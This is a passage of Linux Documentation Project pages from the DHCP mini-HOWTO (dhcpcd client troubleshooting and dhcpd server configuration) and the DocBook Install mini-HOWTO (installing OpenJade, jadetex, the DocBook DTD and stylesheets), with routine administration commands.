          UP BROADCAST LOOPBACK RUNNING  MTU:3584  Metric:1
          RX packets:302 errors:0 dropped:0 overruns:0 frame:0
          TX packets:302 errors:0 dropped:0 overruns:0 carrier:0 coll:0

eth0      Link encap:Ethernet  HWaddr 00:20:AF:EE:05:45
          inet addr:24.128.53.102  Bcast:24.128.53.255  Mask:255.255.254.0
          ^^^^^^^^^^^^^^^^^^^^^^^
          UP BROADCAST NOTRAILERS RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:24783 errors:1 dropped:1 overruns:0 frame:1
          TX packets:11598 errors:0 dropped:0 overruns:0 carrier:0 coll:96
          Interrupt:10 Base address:0x300

If you have some normal number under inet addr you are set. If you see 0.0.0.0 don't despair, it is a temporary setting before dhcpcd acquires the IP address. If even after few minutes you are seeing 0.0.0.0 please check out Troubleshooting. DHCPcd is a daemon and will stay running as long as you have your machine on. Every three hours it will contact the DHCP server and try to renew the IP address lease. It will log all the messages in the syslog (on Slackware /var/adm/syslog, RedHat/OpenLinux /var/log/syslog).

One final thing. You need to specify your nameservers. There are two ways to do it, you can either ask your provider to provide you with the addresses of your name server and then put those in the /etc/resolv.conf or DHCPcd will obtain the list from the DHCP server and will build a resolv.conf in /etc/dhcpc.

I decided to use DHCPcd's resolv.conf by doing the following:

Back up your old /etc/resolv.conf: mv /etc/resolv.conf /etc/resolv.conf.OLD

If directory /etc/dhcpc doesn't exist create it: mkdir /etc/dhcpc

Make a link from /etc/dhcpc/resolv.conf to /etc/resolv.conf: ln -s /etc/dhcpc/resolv.conf /etc/resolv.conf

If that doesn't work try this (fix suggested by <nothing@cc.gatech.edu> with a little amendment by Henrik Stoerner):

This last step I had to perform only because my dhcpcd doesn't create an /etc/dhcpc/resolv.conf. In /etc/sysconfig/network-scripts/ifup I made the following changes (which are a very poor hack, but they work for me):

elif [ "$BOOTPROTO" = dhcp -a "$ISALIAS" = no ]; then
    echo -n "Using DHCP for ${DEVICE}... "
    /sbin/dhcpcd -c /etc/sysconfig/network-scripts/ifdhcpc-done ${DEVICE}
    echo "echo \$$ > /var/run/dhcp-wait-${DEVICE}.pid; exec sleep 30" | sh

    if [ -f /var/run/dhcp-wait-${DEVICE}.pid ]; then
    ^^^^
        echo "failed."
        exit 1

I changed to:

elif [ "$BOOTPROTO" = dhcp -a "$ISALIAS" = no ]; then
    echo -n "Using DHCP for ${DEVICE}... "
    /sbin/dhcpcd
    echo "echo \$$ > /var/run/dhcp-wait-${DEVICE}.pid; exec sleep 30" | sh

    if [ ! -f /var/run/dhcp-wait-${DEVICE}.pid ]; then
    ^^^^^^
       echo "failed."
       exit 1

Note: Notice the ! (bang) in if [ ! -f /var/run/dhcp-wait-${DEVICE}.pid ];

Now sit back and enjoy :-).

3.9. Various notes

Following step(s) are not necessary but might be useful to some people:

  1. If you need network connectivity only occasionally you can start dhcpcd from the command line (you have to be root to do this) with: /usr/sbin/dhcpcd.

    When you need to down (turn off) the network type /usr/sbin/dhcpcd -k.

3.10. Troubleshooting

If you have followed the steps outlined above and you are unable to access the network there are several possible explanations:

3.10.1. Your network card is not configured properly

During the boot up process your Linux will probe your network card and should say something along these lines:

eth0: 3c509 at 0x300 tag 1, 10baseT port, address  00 20 af ee 11 11, IRQ 10.
3c509.c:1.07 6/15/95 becker@cesdis.gsfc.nasa.gov

If a message like this doesn't appear your ethernet card might not be recognized by your Linux system. If you have a generic ethernet card (a NE2000 clone) you should have received a disk with DOS utilities that you can use to set up the card. Try playing with IRQs until Linux recognizes your card (IRQ 9,10,12 are usually good).

3.10.2. Your DHCP server supports RFC 1541/My DHCP server is Windows NT

Try running dhcpcd by typing dhcpcd -r.

Use ifconfig to check if your network interface is configured (wait few seconds for the configuration process, initally it will say Inet.addr=0.0.0.0)

If this solves your problem add the "-r" flag to the boot up scripts, ie: instead of /sbin/dhcpcd you will have /sbin/dhcpcd -r.

For example under RedHat edit script /etc/sysconfig/network-scripts/ifup and change the following:

        IFNAME=$[ {DEVICE} \
        "/sbin/dhcpcd -r -c /etc/"- etc etc.

3.10.3. During bootup I get error message "Using DHCP for eth0 ... failed" but my system works fine.

You are most likely using RedHat and you haven't followed instructions carefully :-). You are missing the ! (bang) in one of the if statements. Jump here and check how to fix it.

3.10.4. My network works for few minutes and then stops responding

There are some reports of gated (gateway daemon) screwing up routing on Linux boxes which results in problem described above. Check if gated is running with: ps -auxww | grep gate.

If it is try removing it with RedHat's RPM manager or removing the entry in /etc/rc.d/.

3.10.5. My ethernet card is recognized during boot up but I still get "NO DHCPOFFER" message in my logs. I also happen to have a PCMCIA ethernet card.

You need to make sure that you have the 10BaseT port ("phone" plug) on your network card activated. Best way to verify it is to check what kind of connector your card is configured for during bootup e.g.

eth0: 3c509 at 0x300 tag 1, 10baseT port, address  00 20 af ee 11 11, IRQ 10.
                    ^^^^^^^^^^^^
3c509.c:1.07 6/15/95 becker@cesdis.gsfc.nasa.gov

I have received reports of laptop users having this kind of problems due to the PCMCIA utilities (specifically ifport) that would set the connector type to 10Base2 (thinnet). You have to make sure you use 10BaseT for your connection. If you are not reconfigure the card and restart the computer.

3.10.6. My DHCP client broadcasts requests but no one answers (Contributed by Peter Amstutz)

On some systems, you need to include some hostname for your machine as part of the request. With dhcpcd, do this with dhcpcd -h foohost Probably the hostname wanted will be your account username on the network.

3.10.7. I have followed all the steps but still my machine is not able to connect

The cable modem will usually memorize the ethernet address of your network card so if you connect a new computer or switch network cards you will somehow have to "teach" your cable modem to recognize the new computer/card. Usually you can turn of the modem and bring it back up while computer is on or you will have to call tech support and tell them that you have changed a network card in the computer.

You have firewall rules (ipfwadm rules) that disallow port 67/68 traffic used by DHCP to distribute configuration info. Check your firewall rules carefully.

3.10.8. I have MediaOne Express service and I still can't connect.

It appears that MediaOne has been using adding some things to DHCP that shouldn't be there. Supposedly this is not a problem anymore but if you experience outages check for these things. If you are (un)lucky to have Windows NT on your machine if you go into Event Viewer you will see a warning like this:

DHCP received an unknown option 067 of length 005. The raw option data is
given  below.

0000: 62 61 73 69 63            basic

If this is the problem go to ftp://vanbuer.ddns.org/pub/ and either download a binary or get the source for the change.

3.11. Alternative DHCP client (ISC dhclient)

If you have not had success getting your Linux connection running with the dhcpcd you might want to try ISC dhclient. dhclient comes with the DHCP distribution from ISC which includes both a DHCP client and a DHCP server. Instructions on how to get and compile the DHCP distribution can be found here. When you are done with it please return to this section to configure the client.

Note: Following information has been provided by Ted Lemon <mellon@isc.org> one of the authors of dhclient.

With the current version of the DHCP client, you don't actually need a dhclient.conf. All you have to do is invoke dhclient e.g.: /sbin/dhclient.

This will configure all broadcast interfaces. If this doesn't work or you want to specify only one interface create a /etc/dhclient.conf file with this example configuration.

interface "eth0" {
  send dhcp-client-identifier 1:xx:xx:xx:xx:xx:xx;
  send dhcp-lease-time 86400;
}

Here we assume that the ethernet interface is eth0. If not change accordingly. Also replace xx:xx:xx:xx:xx with your ethernet address. This dhclient.conf makes the client look more like a Win95 client.

Prev | Home | Next
DHCP protocol |  | DHCP Server Setup


DHCP Server Setup

DHCP mini-HOWTO
Prev

4. DHCP Server Setup

4.1. DHCP server for UNIX

There are several DHCP servers available for U*X-like OSes, both commercial and free. One of the more popular free DHCP servers is Paul Vixie/ISC DHCPd. Currently the latest version is 2.0 (suggested for most users) but 3.0 is in beta testing. You can get them from

ftp://ftp.isc.org/isc/dhcp/

Some of the distributions provide binary packages for dhcpd so skip the following section if you got it installed that way.

After you download unpack it. After you do cd into the distribution directory and type: ./configure

It will take some time to configure the settings. After it is done type: make and make install.

4.2. DHCP server configuration

When done with installation type ifconfig -a. You should see something like this:

eth0      Link encap:10Mbps Ethernet  HWaddr 00:C0:4F:D3:C4:62
          inet addr:183.217.19.43  Bcast:183.217.19.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2875542 errors:0 dropped:0 overruns:0
          TX packets:218647 errors:0 dropped:0 overruns:0
          Interrupt:11 Base address:0x210

If it doesn't say MULTICAST you should reconfigure your kernel and add multicast support. On most systems you will not need to do this.

Next step is to add route for 255.255.255.255. Quoted from DHCPd README:

"In order for dhcpd to work correctly with picky DHCP clients (e.g., Windows 95), it must be able to send packets with an IP destination address of 255.255.255.255. Unfortunately, Linux insists on changing 255.255.255.255 into the local subnet broadcast address (here, that's 192.5.5.223). This results in a DHCP protocol violation, and while many DHCP clients don't notice the problem, some (e.g., all Microsoft DHCP clients) do. Clients that have this problem will appear not to see DHCPOFFER messages from the server."

Type: route add -host 255.255.255.255 dev eth0

If you get a message "255.255.255.255: Unknown host", you should try adding the following entry to your /etc/hosts file:

255.255.255.255 all-ones

Then, try:

route add -host all-ones dev eth0

or

route add 255.255.255.0 dev eth0

eth0 is of course the name of the network device you are using. If it differs change appropriately.

4.3. Options for DHCPd

Now you need to configure DHCPd. In order to do this you will have to create or edit /etc/dhcpd.conf. There is a graphical interface for dhcpd configuration under KDE ( http://www.kde.org/ ) called kcmdhcpd that is very similar to the DHCP configurator on Windows NT. When KDE 2.0 comes out it should come with kcmdhcpd or you could get it directly from:

ftp://ftp.us.kde.org/pub/kde/unstable/apps/network/

If you want to configure it by hand follow instructions below.

Most commonly what you want to do is assign IP addresses randomly. This can be done with settings as follows:

# Sample /etc/dhcpd.conf
# (add your comments here)
default-lease-time 600;
max-lease-time 7200;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.254;
option domain-name-servers 192.168.1.1, 192.168.1.2;
option domain-name "mydomain.org";

subnet 192.168.1.0 netmask 255.255.255.0 {
   range 192.168.1.10 192.168.1.100;
   range 192.168.1.150 192.168.1.200;
}

This will result in DHCP server giving a client an IP address from the range 192.168.1.10-192.168.1.100 or 192.168.1.150-192.168.1.200. It will lease an IP address for 600 seconds if the client doesn't ask for specific time frame. Otherwise the maximum (allowed) lease will be 7200 seconds. The server will also "advise" the client that it should use 255.255.255.0 as its subnet mask, 192.168.1.255 as its broadcast address, 192.168.1.254 as the router/gateway and 192.168.1.1 and 192.168.1.2 as its DNS servers.

If you need to specify a WINS server for your Windows clients you will need to include the netbios-name-servers option e.g.

option netbios-name-servers 192.168.1.1;

You can also assign specific IP addresses based on clients ethernet address e.g.

host haagen {
   hardware ethernet 08:00:2b:4c:59:23;
   fixed-address 192.168.1.222;
}

This will assign IP address 192.168.1.222 to a client with ethernet address 08:00:2b:4c:59:23.

You can also mix and match e.g. you can have certain clients getting "static" IP addresses (e.g. servers) and others being alloted dynamic IPs (e.g. mobile users with laptops). There are a number of other options e.g. nis server addresses, time server addresses etc., if you need any of those options please read the dhcpd.conf man page.

4.4. Starting the server

There is only one thing to do before starting the server. In most cases DHCP installation doesn't create a dhcpd.leases files. This file is used by DHCPd to store information about current leases. It is in the plain text form so you can view it during the operation of DHCPd. To create dhcpd.leases type:
touch /var/state/dhcp/dhcpd.leases

This will create an empty file (file size = 0). Some of the older version of dhcpd 2.0 placed the file in /etc/dhcpd.leases. You do not need to make any changes to the leases file it will be manipulated by the dhcpd. If you get a message saying that file exists simply ignore it and go to the next step.

You can now invoke the DHCP server. Simply type (or include in the bootup scripts)

/usr/sbin/dhcpd

This will invoke dhcpd on eth0 device. If you want to invoke it on another device simply supply it on the command line e.g.

/usr/sbin/dhcpd eth1

To verify that everything is working fine you should first turn on the debugging mode and put the server in foreground. You can do this by typing

/usr/sbin/dhcpd -d -f

Then boot up one of your clients and check out the console of your server. You will see a number of debugging messages come up. If everything works out fine you are done :-). Quit dhcpd and start it without the -d -f and arguments. If you want dhcpd to start at boot-up include dhcpd in e.g.

/etc/rc.d/rc.local

4.5. Other interesting documents

Linux Magazine has a pretty good article in their April issue called Network Nirvana: How to make Network Configuration as easy as DHCP that discusses the set up for DHCP.

Prev | Home
Client Setup |


Copyright and Licenses

DocBook Install mini-HOWTO
Prev A. Legal Next

A.1. Copyright and Licenses

Copyright (c) 2001, 2002 Robert B. Easter

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".

Prev | Home | Next
Legal | Up | Disclaimer


Disclaimer

DocBook Install mini-HOWTO
Prev A. Legal Next

A.2. Disclaimer

No liability for the contents of this document can be accepted. Use the concepts, examples and other content at your own risk.

All copyrights are held by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

Prev | Home | Next
Copyright and Licenses | Up | GNU Free Documentation License


Download the Packages

DocBook Install mini-HOWTO
Prev Next

2. Download the Packages

In this section, we will locate and download the software on the Internet.

2.1. OpenJade

OpenJade is an actively maintained open-source software project based on the Jade package by James Clark. Download the lastest stable release at:

http://openjade.sourceforge.net/

OpenJade also includes the OpenSP package and the TeX macros, jadetex and pdfjadetex for converting files to dvi and pdf. The following programs are provided by this package:

  • openjade

  • onsgmls

  • osgmlnorm

  • ospam

  • ospent

  • osx

To use jadetex and pdfjadetex for making dvi, ps, and pdf, you must have a working TeX (tex) installation. If you do not have TeX, check with your Linux distribution for a binary package that can be downloaded and installed. Otherwise, you can download the teTeX distribution of TeX from:

http://www.tug.org/tetex/

2.2. DocBook SGML DTD

The DocBook DTD for SGML and XML are maintained by a technical committee at Oasis-Open.ORG. Download the current version (and any old versions you might need) of DocBook SGML at:

http://www.oasis-open.org/docbook/sgml/index.shtml

2.3. ISO8879 ENTITY SGML

The entities define representations for special or untypeable symbols or characters, including mathematical symbols, and the entities that you may be familiar with from HTML. These entity files need to be installed for a proper configuration.

  • Resources at OASIS:

    • http://www.oasis-open.org/cover/topics.html#entities

    • http://www.oasis-open.org/cover/ISOEnts.zip

    • http://www.oasis-open.org/cover/isoENT-tar.gz

ISOEnts.zip can simply be unzipped into the directory where the DocBook DTD is unzipped without requiring anything else but the files in isoENT-tar.gz are also needed. Again, the files in isoENT-tar.gz are to be unzipped into the DocBook DTD directory (see next section on installing for details), but the filenames end with ".ent" suffix. These will need to be renamed to a ".gml" ending. You can do this manually, or you can download and use the file below, made by this author, which contains the files of both ISOEnts.zip and isoENT-tar.gz:

http://reaster.com/iso8879-entities.tar.gz

2.4. DocBook DSSSL

Norman Walsh's Document Style Semantics and Specification Language (DSSSL) files for the DocBook DTD (SGML/XML) are maintained at the DocBook Open Repository at SourceForge. These files, also known as the Modular DocBook Stylesheets, tell openjade what to do when converting your DocBook SGML file into other formats. A dsl file specifies things such as the mappings from one DTD's tags to another DTD's tags and other programmatic conversions, programmed in the DSSSL language. The DSSSL language is decomposed into a group of different languages, but running through it all is the Core Expression Language which is based on Scheme.

The DocBook DSSSL package and documentation can be downloaded from the DocBook DSSSL Stylesheets Project

The Linux Documentation Project has a stylesheet customization file that turns on some nice style features. It can be downloaded at:

http://www.linuxdoc.org/authors/tools/ldp.dsl

2.5. SGMLtools-Lite

SGMLtools-Lite is a frontend for openjade, jadetex, pdfjadex, dvips, and other programs. It provides a single command for generating all the formats possible with these tools. The lastest release can be downloaded at:

http://sourceforge.net/projects/sgmltools-lite/

This package is optional, but does make things easier sometimes.

2.6. HTMLdoc

HTMLdoc is a free program for converting websites into Portable Document Format (pdf) or PostScript (ps). For pdf, it creates a tree of bookmarks that make navigation easy. Both htmldoc and pdfjadetex output pdf files, but in slightly different formats. Try both and see which turns out best for a particular docbook file. See quick links below for download site.

You can download the lastest version of HTMLdoc from Easy Software Products' ftp site.

2.7. DocBook2X

DocBook2X requires perl5 and the SGMLS.pm perl module, available at the Comprehensive Perl Archive Network (CPAN). SGMLS.pm provides libraries and a program called sgmlspl which translates DocBook files into other formats by using specification files. The specification files are perl files that provide the logic for the translation to a particular format.

http://www.cpan.org/

http://docbook2x.sourceforge.net/

Prev | Home | Next
Introduction |  | Install the Packages


GNU Free Documentation License

DocBook Install mini-HOWTO
Prev Next

B. GNU Free Documentation License

Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Prev | Home | Next
Disclaimer |  | PREAMBLE


DocBook Install mini-HOWTO

Robert B Easter

reaster@reaster.com

Revision History
Revision v1.8 2002-02-04 Revised by: rbe

DocBook-Install-mini-HOWTO is a detailed practical guide for novices to quickly getting DocBook installed and processing SGML files into HTML, PS, and PDF files on a GNU/Linux system - other systems may be similar. Since setup of DocBook requires files from several separately distributed packages, it can be confusing for beginners.

Table of Contents
1. Introduction
1.1. Information About this Document
1.2. What is DocBook
1.3. Brief Overview
2. Download the Packages
2.1. OpenJade
2.2. DocBook SGML DTD
2.3. ISO8879 ENTITY SGML
2.4. DocBook DSSSL
2.5. SGMLtools-Lite
2.6. HTMLdoc
2.7. DocBook2X
3. Install the Packages
3.1. Before You Install
3.2. Install OpenJade
3.3. DocBook SGML DTD
3.4. DocBook DSSSL
3.5. SGMLtools-Lite
3.6. htmldoc
3.7. DocBook2X and SGMLS.pm (sgmlspl)
3.8. $SGML_CATALOG_FILES
4. Using DocBook
4.1. Generating HTML
4.2. Generating rtf and tex
4.3. Generating dvi and ps
4.4. Generating pdf
4.5. Using make
4.6. Generating a man page
A. Legal
A.1. Copyright and Licenses
A.2. Disclaimer
B. GNU Free Documentation License
0. PREAMBLE
1. APPLICABILITY AND DEFINITIONS
2. VERBATIM COPYING
3. COPYING IN QUANTITY
4. MODIFICATIONS
5. COMBINING DOCUMENTS
6. COLLECTIONS OF DOCUMENTS
7. AGGREGATION WITH INDEPENDENT WORKS
8. TRANSLATION
9. TERMINATION
10. FUTURE REVISIONS OF THIS LICENSE
How to use this License for your documents
Next
Introduction


Install the Packages

DocBook Install mini-HOWTO
Prev Next

3. Install the Packages

3.1. Before You Install

The following sections suggest how you might install the downloaded packages to setup your DocBook SGML environment. The examples may make reference to old versions of the packages but you should adapt the examples and use the most recent versions instead.

For the most up-to-date, authoritative information, always read the documentation that comes with a package you are installing. Often, you will find a README and a INSTALL file after you unpack an archive.

The detailed instructions below may not work exactly as shown since packages are changing all the time. However, the instructions should still give you a general idea of the procedure to get DocBook SGML working.

3.2. Install OpenJade

3.2.1. openjade

Here is what to do, but remember to read the files that come with OpenJade to see if there are any things you want to do special for your platform:
        cd /usr/local
        tar -xvzf ~/openjade-1.3.tar.gz
        cd openjade-1.3
        ./configure --prefix=/usr/local/openjade-1.3
        make
        make install

        # Once installed, the objects etc. can be deleted.
        make clean
The installation puts libraries in /usr/local/openjade-1.3/lib, so you might like to add it to /etc/ld.so.conf and run ldconfig. Add /usr/local/openjade-1.3/bin to your $PATH.

You might be wondering why I dump the openjade source directly into /usr/local. The author experienced some issues with openjade's installation. However, with newer releases of OpenJade, you might try a standard (/usr/local/src) location for the openjade source package with some other prefix install location, and see how it goes.

3.2.2. jadetex & pdfjadetex

As mentioned, jadetex and pdfjadetex are TeX macros that are packaged with OpenJade. They can be found in /usr/local/openjade-3.1/dsssl. A handy guide to installing these macros was prepared by Frank Atanassow Christoph and can be found at:

ftp://ftp.dante.de/tex-archive/macros/jadetex/install.pdf

http://reaster.com/installjadetex.pdf

The following is based on the instructions in install.pdf:

3.2.2.1. Create hugelatex (if needed)

The jadetex and pdfjadetex tex macros require more memory than a regular run of tex. The default tex memory limit configuration is often too limited. The tex configuration file, texmf.cnf, can be edited and variables which limit tex's memory use can be increased. But rather than just editing the texmf.cnf file to allow tex in all instances to have more memory, a custom tex context can be created, called hugelatex. If hugelatex is already configured on your system, you can skip this subsection (which hugelatex).

Verify that a working TeX is installed and find its directory:
        bash$ which tex
        /usr/share/texmf/bin/tex
        bash$ kpsewhich -expand-var='$TEXMFMAIN'
        /usr/share/texmf
        bash$

Using which should find the location of the tex program. If its not found, then you might need to install teTeX then return here. kpsewhich is a utility that comes with teTeX and finds the main tex directory if all goes well.

Now that the texmf directory is known, installation can begin:
        cd /usr/share/texmf
        cd tex/latex
        cp -r config config-temp
        cd config-temp
        tex -ini -progname=hugelatex latex.ini
        mv latex.fmt hugelatex.fmt
        mv hugelatex.fmt /usr/share/texmf/web2c
        cd ..
        rm -r config-temp
        cd /usr/share/texmf/bin
        ln -s tex hugelatex
        cd /usr/share/texmf/web2c
The web2c directory contains the texmf.cnf configuration file. Make a backup of this file: cp texmf.cnf texmf.cnf.orig. Edit the file using whatever editor you like, and add the following lines at the end:
        % hugelatex settings
        extra_mem_top.hugelatex = 8000000
        extra_mem_bot.hugelatex = 8000000
        hash_extra.hugelatex = 15000
        pool_size.hugelatex = 5000000
        string_vacancies.hugelatex = 45000
        max_strings.hugelatex = 55000
        pool_free.hugelatex = 47500
        nest_size.hugelatex = 500
        param_size.hugelatex = 1500
        save_size.hugelatex = 5000
        stack_size.hugelatex = 15000

        % jadetex
        extra_mem_top.jadetex = 8000000
        extra_mem_bot.jadetex = 8000000
        hash_extra.jadetex = 20000
        pool_size.jadetex = 5000000
        string_vacancies.jadetex = 45000
        max_strings.jadetex = 55000
        pool_free.jadetex = 47500
        nest_size.jadetex = 500
        param_size.jadetex = 1500
        save_size.jadetex = 5000
        stack_size.jadetex = 15000

        % pdfjadetex
        extra_mem_top.pdfjadetex = 8000000
        extra_mem_bot.pdfjadetex = 8000000
        hash_extra.pdfjadetex = 20000
        pool_size.pdfjadetex = 5000000
        string_vacancies.pdfjadetex = 45000
        max_strings.pdfjadetex = 55000
        pool_free.pdfjadetex = 47500
        nest_size.pdfjadetex = 500
        param_size.pdfjadetex = 1500
        save_size.pdfjadetex = 5000
        stack_size.pdfjadetex = 15000
Here, we've gone ahead and added entries for jadetex and pdfjadetex, which we'll be setting up below. You can play with these memory settings any way you like if you experience trouble with them.

After setting up hugelatex, like above, it may not work until the texhash program is called:
        root# texhash
        texhash: Updating /usr/share/texmf/ls-R...
        texhash: Updating /var/cache/fonts/ls-R...
        texhash: Done.
        root#

3.2.2.2. jadetex & pdfjadetex

Setting up jadetex and pdfjadetex is similar to hugelatex.
        cd /usr/local/openjade-1.3/dsssl
        make -f Makefile.jadetex install
        # make creates and installs the .fmt
        # files to /usr/share/texmf/web2c

        # Now create symlinks ...
        cd /usr/share/texmf/bin
        ln -s tex jadetex
        ln -s pdftex pdfjadetex

        # Finally, run texhash.
        root# texhash
This Makefile uses hugelatex, so hugelatex must have been setup already. When tex is run as hugelatex, jadetex, or pdfjadetex, it gets its program name (context) from argv[0] in the environment. Then, it scans texmf.cnf, and uses any context-specific settings it finds. The format (.fmt) files in /usr/share/texmf/web2c are also loaded based on the context.

The jadetex command takes a tex file generated from openjade, and outputs a dvi file. pdfjadetex takes a tex file generated from openjade, and outputs a pdf. The dvips program takes the dvi file and outputs a PostScript ps file that you can send to your printer or view with ghostscript gs.

3.3. DocBook SGML DTD

3.3.1. Unpack the DocBook SGML DTD

The DocBook DTD is just some sgml text files, so there is nothing to compile. Just unzip them somewhere:
        # DocBook DTD V4.1 in
        # /usr/local/share/sgml/docbook/4.1

        cd /usr/local/share
        mkdir sgml; cd sgml
        mkdir docbook; cd docbook
        mkdir 4.1; cd 4.1
        unzip -a ~/docbk41.zip
If you install doctools-1.2 from the XFree86 distribution, it will put some older versions of DocBook DTD, like 2.4.1/ and 3.0/ in subdirectories of docbook.

There are some differences between the different versions of the DocBook DTD. The xxissues.txt files document those issues. Tags have been added, removed, and renamed between the versions.

If you need to use DocBook DTD V3.1, it is available from the same place where V4.1 is downloaded. V3.1 is used a lot, so its a good idea to get it and install it in a 3.1/ subdirectory.

3.3.2. Unpack the ISO8879 Entities

For each DocBook DTD version unpacked, go into its directory and unpack the iso8879-entities.tar.gz file:
        cd /usr/local/share/sgml/docbook/4.1
        tar -xvzf ~/iso8879-entities.tar.gz
In each DocBook directory, there should be a docbook.cat file or a catalog file, or both. If both are present, they are likely to be identical. If only docbook.cat is present, go ahead and make a symlink:
        # If needed ...
        cd /usr/local/share/sgml/docbook/4.1
        ln -s docbook.cat catalog

3.4. DocBook DSSSL

Installation of the DocBook DSSSL, which works for all versions of DocBook, is just a matter of unzipping it somwhere.
        cd /usr/local/share/sgml
        mkdir dsssl; cd dsssl
        unzip -a ~/db160.zip

        # If you downloaded the ldp.dsl stylesheet
        # customization, copy it to ...
        cd docbook
        cp ~/ldp.dsl html
        cp ~/ldp.dsl print
        # Copy into both directories.
That's all there is to installing the DSSSL, except for the setup of the $SGML_CATALOG_PATH discussed later. Don't forget to straighten out the file modes and owner/group of these unpacked files - often they are scrambled and inappropriate.

3.5. SGMLtools-Lite

If you like it, you can install the SGMLtools-Lite, but it is optional. Its installation is the standard:
        cd /usr/src
        tar -xvzf ~/sgmltools-lite-3.0.2.tar.gz
        cd sgmltools-lite-3.0.2
        ./configure
        make install
This installs the sgmltools python script to /usr/local/bin. Note that it uses python, so if you don't have it, then this package is useless.

One tweak that has to be done to make the sgmltools script work, is you have to edit it and set the path to openjade: vi `which sgmltools`. Consult its docs to learn more about it.

3.6. htmldoc

3.6.1. binary

Preferrably you downloaded a binary distribution of htmldoc for your platform. The installation is straightforward: just unpack it and run the setup. Read the docs in the package for more info.

3.6.2. source

If you downloaded the source, you will also need the Fast Light Tool Kit or else it will not link:

http://www.fltk.org/

Installation is autoconf style. Just run the configure script, make, make install. If all goes well, it will install in /usr/bin.

3.6.3. ldp_print

The htmldoc program has (or had) a few glitches when generating output from html files from openjade. For instance, bullet items are not rendered properly and shaded areas are not always shaded.

To fix this problem, a perl script (ldp_print) is available from LinuxDoc.org. The lpd_print script processes a nochunks html file from openjade and then runs htmldoc on it to produce correctly rendered pdf and ps.

Tip

Get it!

        tar -xvzf ldp_print.tar.gz
        cd ldp_print

        # Copy the lib somewhere where perl looks.
        cp fix_print_html.lib /usr/lib/perl5/site_perl

        cp ldp_print /usr/local/bin
Take a look at the script in case there are lines in it you need to change for your system. Perhaps someday htmldoc's bugs will be fixed and this script will not be needed anymore.

3.7. DocBook2X and SGMLS.pm (sgmlspl)

3.7.1. sgmlspl

Before the spec files from DocBook2X are of any use, the SGMLS.pm module for perl version 5 has to be installed, assuming that perl version 5 is installed. The installation of this module is not as automated as most perl module installs. It uses a Makefile that has to be edited first before running make.
        cd /usr/src
        tar -xvzf ~/SGMLSpm-1.03ii.tar.gz
        cd SGMLSpm

        # Edit Makfile
        vi Makefile
        # In the user options of the Makefile
        # set everything correct for
        # your system.
        # Example:
        #	PERL = /usr/bin/perl
        #	BINDIR = /usr/local/bin
        #	PERL5DIR = /usr/lib/perl5/site_perl
        #	MODULEDIR = ${PERL5DIR}/SGMLS
        #	SPECDIR = ${PERL5DIR}
        #	HTMLDIR= /usr/local/apache/htdocs

        make install
sgmlspl gets copied to /usr/local/bin.

3.7.2. docbook2X (docbook2man-spec.pl)

DocBook2X contains no program to compile or install, though it has some scripts you might want to look at, so all there is to do is unpack it somwhere.
        cd /usr/local/share/sgml
        tar -xvzf ~/docbook2X-0.6.0.tar.gz
        cd docbook2X
In the unpacked directory is the docbook2man-spec.pl and a patch file for it that corrects a few things. Applying the patch is optional but recommended.
        patch docbook2man-spec.pl docbook2man-spec.pl.patch
Later, in Using DocBook, you will see how to use sgmlspl and docbook2man-spec.pl to generate a man page from a <refentry> DocBook document.

3.8. $SGML_CATALOG_FILES

The $SGML_CATALOG_FILES environment variable is used by openjade (and other SGML software) to locate DTDs and DSL (stylesheets). SGML software cannot function without finding these files, which have been unpacked to various directories. Given the setup as done so far, here is how $SGML_CATALOG_FILES can be set in /etc/profile:
##########################################################################################
# SGML DocBook - openjade sgmltools-lite
JADE_HOME=/usr/local/openjade-1.3
SGML_SHARE=/usr/local/share/sgml

PATH=$PATH:$JADE_HOME/bin

# DSSSL stylesheets
#       Norman Walsh's Modular DocBook Stylesheets
SGML_CATALOG_FILES=$SGML_SHARE/dsssl/docbook/catalog
#       OpenJade stylesheets
SGML_CATALOG_FILES=$SGML_CATALOG_FILES:$JADE_HOME/dsssl/catalog
#       sgmltools-lite's stylesheets
SGML_CATALOG_FILES=$SGML_CATALOG_FILES:$SGML_SHARE/stylesheets/sgmltools/sgmltools.cat

# DocBook DTD
#       From OASIS-Open.org
SGML_CATALOG_FILES=$SGML_CATALOG_FILES:$SGML_SHARE/docbook/3.1/catalog
SGML_CATALOG_FILES=$SGML_CATALOG_FILES:$SGML_SHARE/docbook/4.1/catalog
#       These old ones were installed with doctools-1.2 from XFree86.org
SGML_CATALOG_FILES=$SGML_CATALOG_FILES:$SGML_SHARE/docbook/2.4.1/catalog
SGML_CATALOG_FILES=$SGML_CATALOG_FILES:$SGML_SHARE/docbook/3.0/catalog

# sgmltools-lite catalogs for LinuxDoc
SGML_CATALOG_FILES=$SGML_CATALOG_FILES:$SGML_SHARE/dtd/sgmltools/catalog

export JADE_HOME SGML_SHARE PATH SGML_CATALOG_FILES
##########################################################################################
Save your profile, logout and then log back in to take effect.

Installation is complete! In the next section, we'll test the installation and convert some test DocBook files.

Prev | Home | Next
Download the Packages |  | Using DocBook


Introduction

DocBook Install mini-HOWTO
Prev Next

1. Introduction

1.1. Information About this Document

The lastest version of this mini-HOWTO can be found at:

http://www.linuxdoc.org/HOWTO/mini/DocBook-Install/

See the "Legal" section in the appendix for copyright, licenses, and disclaimer information pertaining to this document.

1.2. What is DocBook

DocBook is a Standard Generalized Markup Language (SGML) Document Type Definition (DTD) that defines a set of textual document markup tags that work much like the familiar HTML language used on the web.

DocBook is intended for the authoring of books and articles. As such, it provides tags specifically designed to describe books and articles. For instance, the <book> and <article> DocBook tags are used to create books and articles. Within these documents, the <chapter>, <sect1>, and <para> tags are used. DocBook SGML files are stored in text files with a sgml or gml suffix.

